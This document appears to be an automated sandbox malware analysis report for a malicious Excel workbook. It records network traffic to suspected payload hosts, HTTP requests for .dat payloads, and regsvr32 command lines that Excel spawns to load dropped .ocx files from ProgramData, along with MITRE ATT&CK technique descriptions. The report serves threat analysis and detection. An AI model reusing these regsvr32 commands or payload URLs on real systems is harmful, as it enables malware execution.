Dec 2, 2021 20:49:36.713799000 CET	49167	80	192.168.2.22	158.69.133.78
Dec 2, 2021 20:49:36.818370104 CET	80	49167	158.69.133.78	192.168.2.22
Dec 2, 2021 20:49:36.818533897 CET	49167	80	192.168.2.22	158.69.133.78
Dec 2, 2021 20:49:36.819761992 CET	49167	80	192.168.2.22	158.69.133.78
Dec 2, 2021 20:49:36.924511909 CET	80	49167	158.69.133.78	192.168.2.22
Dec 2, 2021 20:49:37.323863983 CET	80	49167	158.69.133.78	192.168.2.22
Dec 2, 2021 20:49:37.324137926 CET	49167	80	192.168.2.22	158.69.133.78
Dec 2, 2021 20:49:37.353714943 CET	49168	80	192.168.2.22	45.142.211.62
Dec 2, 2021 20:49:40.362343073 CET	49168	80	192.168.2.22	45.142.211.62
Dec 2, 2021 20:49:46.368721008 CET	49168	80	192.168.2.22	45.142.211.62
Dec 2, 2021 20:49:58.384051085 CET	49169	80	192.168.2.22	45.142.211.62
Dec 2, 2021 20:50:01.393110991 CET	49169	80	192.168.2.22	45.142.211.62
Dec 2, 2021 20:50:07.399558067 CET	49169	80	192.168.2.22	45.142.211.62
Dec 2, 2021 20:50:19.450882912 CET	49170	80	192.168.2.22	45.142.211.62
Dec 2, 2021 20:50:22.454773903 CET	49170	80	192.168.2.22	45.142.211.62
Dec 2, 2021 20:50:28.461352110 CET	49170	80	192.168.2.22	45.142.211.62
Dec 2, 2021 20:50:40.478084087 CET	49171	80	192.168.2.22	45.142.211.62
Dec 2, 2021 20:50:42.331336975 CET	80	49167	158.69.133.78	192.168.2.22
Dec 2, 2021 20:50:42.331557989 CET	49167	80	192.168.2.22	158.69.133.78
Dec 2, 2021 20:50:43.470313072 CET	49171	80	192.168.2.22	45.142.211.62
Dec 2, 2021 20:50:46.482115030 CET	49167	80	192.168.2.22	158.69.133.78
Dec 2, 2021 20:50:46.586806059 CET	80	49167	158.69.133.78	192.168.2.22
Dec 2, 2021 20:50:49.476433039 CET	49171	80	192.168.2.22	45.142.211.62
Dec 2, 2021 20:51:01.547184944 CET	49173	80	192.168.2.22	185.82.126.78
Dec 2, 2021 20:51:04.562812090 CET	49173	80	192.168.2.22	185.82.126.78
Dec 2, 2021 20:51:10.569520950 CET	49173	80	192.168.2.22	185.82.126.78
Dec 2, 2021 20:51:22.568156958 CET	49174	80	192.168.2.22	185.82.126.78
Dec 2, 2021 20:51:25.578001022 CET	49174	80	192.168.2.22	185.82.126.78
Dec 2, 2021 20:51:31.584599972 CET	49174	80	192.168.2.22	185.82.126.78
Dec 2, 2021 20:51:43.609333038 CET	49175	80	192.168.2.22	158.69.133.78
Dec 2, 2021 20:51:43.712430000 CET	80	49175	158.69.133.78	192.168.2.22
Dec 2, 2021 20:51:43.712620020 CET	49175	80	192.168.2.22	158.69.133.78
Dec 2, 2021 20:51:43.713840008 CET	49175	80	192.168.2.22	158.69.133.78
Dec 2, 2021 20:51:43.816886902 CET	80	49175	158.69.133.78	192.168.2.22
Dec 2, 2021 20:51:44.215042114 CET	80	49175	158.69.133.78	192.168.2.22
Dec 2, 2021 20:51:44.215229034 CET	49175	80	192.168.2.22	158.69.133.78
Dec 2, 2021 20:52:44.490155935 CET	49175	80	192.168.2.22	158.69.133.78
Dec 2, 2021 20:52:44.593305111 CET	80	49175	158.69.133.78	192.168.2.22
Dec 2, 2021 20:52:44.593637943 CET	49175	80	192.168.2.22	158.69.133.78

HTTP Request Dependency Graph

158.69.133.78

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	158.69.133.78	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2021 20:49:36.819761992 CET	0	OUT	GET /574766024224.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 158.69.133.78 Connection: Keep-Alive
Dec 2, 2021 20:49:37.323863983 CET	1	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 02 Dec 2021 19:49:37 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49175	158.69.133.78	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2021 20:51:43.713840008 CET	3	OUT	GET /574766024224.dat2 HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 158.69.133.78 Connection: Keep-Alive
Dec 2, 2021 20:51:44.215042114 CET	4	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 02 Dec 2021 19:51:44 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Code Manipulations

Statistics

CPU Usage

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Memory Usage

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High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2812 Parent PID: 596

General

Start time:	20:48:14
Start date:	02/12/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f060000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2064 Parent PID: 2812

General

Start time:	20:51:06
Start date:	02/12/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 C:\ProgramData\Volet1.ocx
Imagebase:	0xff3d0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 1240 Parent PID: 2812

General

Start time:	20:51:07
Start date:	02/12/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 C:\ProgramData\Volet2.ocx
Imagebase:	0xff3d0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 1812 Parent PID: 2812

General

Start time:	20:51:07
Start date:	02/12/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 C:\ProgramData\Volet3.ocx
Imagebase:	0xff3d0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2832 Parent PID: 2812

General

Start time:	20:51:08
Start date:	02/12/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet4.ocx
Imagebase:	0xff3d0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 392 Parent PID: 2812

General

Start time:	20:51:08
Start date:	02/12/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet5.ocx
Imagebase:	0xff3d0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 1164 Parent PID: 2812

General

Start time:	20:51:08
Start date:	02/12/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet6.ocx
Imagebase:	0xff3d0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: EXCEL.EXE PID: 2812 Parent PID: 596 EXCEL.EXECOMMON

Executed Functions

Non-executed Functions

Function 021966F3, Relevance: .8, Instructions: 775COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1035259555.0000000002190000.00000004.00000001.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_EXCEL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 936afbd4271a532a2c579e992108a1ea0597df29e70e87c4c0b868a661ca19ef
Instruction ID: 116933a9501fc386f88dacfa396d8688ecc6f7aad335387b71bb76188ee98837
Opcode Fuzzy Hash: 936afbd4271a532a2c579e992108a1ea0597df29e70e87c4c0b868a661ca19ef
Instruction Fuzzy Hash: A462775184E3C21FD74387341C79696BFB1AF13118B6E86EBD4C5CB8A3E24C591AD362

Uniqueness

Uniqueness Score: -1.00%

Function 021966E8, Relevance: .8, Instructions: 763COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1035259555.0000000002190000.00000004.00000001.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_EXCEL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 717a5895595d41d8deef9b78895bfa439805cd1139d915202475aa576569a134
Instruction ID: 0b2d2244d939514ea0bbe6b6d277653df2517a4ffa3154ae08b7d8599187f937
Opcode Fuzzy Hash: 717a5895595d41d8deef9b78895bfa439805cd1139d915202475aa576569a134
Instruction Fuzzy Hash: 3562875184E3C21FD74387340C796A6BFB1AF13118B6E86EBD4C5CB8A3E20C591AD362

Uniqueness

Uniqueness Score: -1.00%

Function 02196753, Relevance: .8, Instructions: 757COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1035259555.0000000002190000.00000004.00000001.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_EXCEL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53ae38aeffdee9d785ce7ee49befacaaf779da58bd5fbc520c19ebcc0c6b77b2
Instruction ID: a9ba79eaf7f801cbdbfeaed0ebc317fc18cb05bf9ec5088bf3f52d24ceda507a
Opcode Fuzzy Hash: 53ae38aeffdee9d785ce7ee49befacaaf779da58bd5fbc520c19ebcc0c6b77b2
Instruction Fuzzy Hash: 5162865184E3C21FD74387341C79696BFB1AF13118B6E86EBE4C5CB8A3E24C591AD362

Uniqueness

Uniqueness Score: -1.00%

Function 02196743, Relevance: .7, Instructions: 738COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1035259555.0000000002190000.00000004.00000001.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_EXCEL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7205f6913687fad5d078cbed5a76ddf84508d40b240b11b869643e326cef981
Instruction ID: fbb2fa8c50e940ed2bcae36fad8f4fb49787e07c80a793f94bc298bfd786dcc9
Opcode Fuzzy Hash: e7205f6913687fad5d078cbed5a76ddf84508d40b240b11b869643e326cef981
Instruction Fuzzy Hash: A852865184E3C21FD74387340C79696BFB1AF13118B6E86EBE4C5CB8A3E24C491AD362

Uniqueness

Uniqueness Score: -1.00%

Function 02197820, Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1035259555.0000000002190000.00000004.00000001.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_EXCEL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0211d483dc6f23bf70d41fa8c4c23cb84b8752671e0d463cfb5c447532399189
Instruction ID: 6ffc76b1ac58cc277fbb9f4d55a53dca1aad198aad4440a105b5d66235301616
Opcode Fuzzy Hash: 0211d483dc6f23bf70d41fa8c4c23cb84b8752671e0d463cfb5c447532399189
Instruction Fuzzy Hash: F9E1105184F3C20FD71787798DA5692BFB19E13249B1E45EBC1C5CF8A3D60D586AC322

Uniqueness

Uniqueness Score: -1.00%

Function 02196340, Relevance: .4, Instructions: 365COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1035259555.0000000002190000.00000004.00000001.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_EXCEL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7d65f371ee7799e7b92dc9e78169ac8b85e37fe970bb7d81758b5354c673cff
Instruction ID: b209bc75023a5f27ca1f1826758b12fb3a6e2828b0624cd802cfb966a91addc0
Opcode Fuzzy Hash: a7d65f371ee7799e7b92dc9e78169ac8b85e37fe970bb7d81758b5354c673cff
Instruction Fuzzy Hash: 11D15F6508E3C21FD71383780AB51827FB69E47118B2E55DBD2C2DB4A3E6181A2AD333

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report ClaimCopy-355714047-12022021.xlsb

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "ClaimCopy-355714047-12022021.xlsb"

Indicators

Macro 4.0 Code

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 2812 Parent PID: 596

General

Chronological Activities

Analysis Process: regsvr32.exe PID: 2064 Parent PID: 2812

General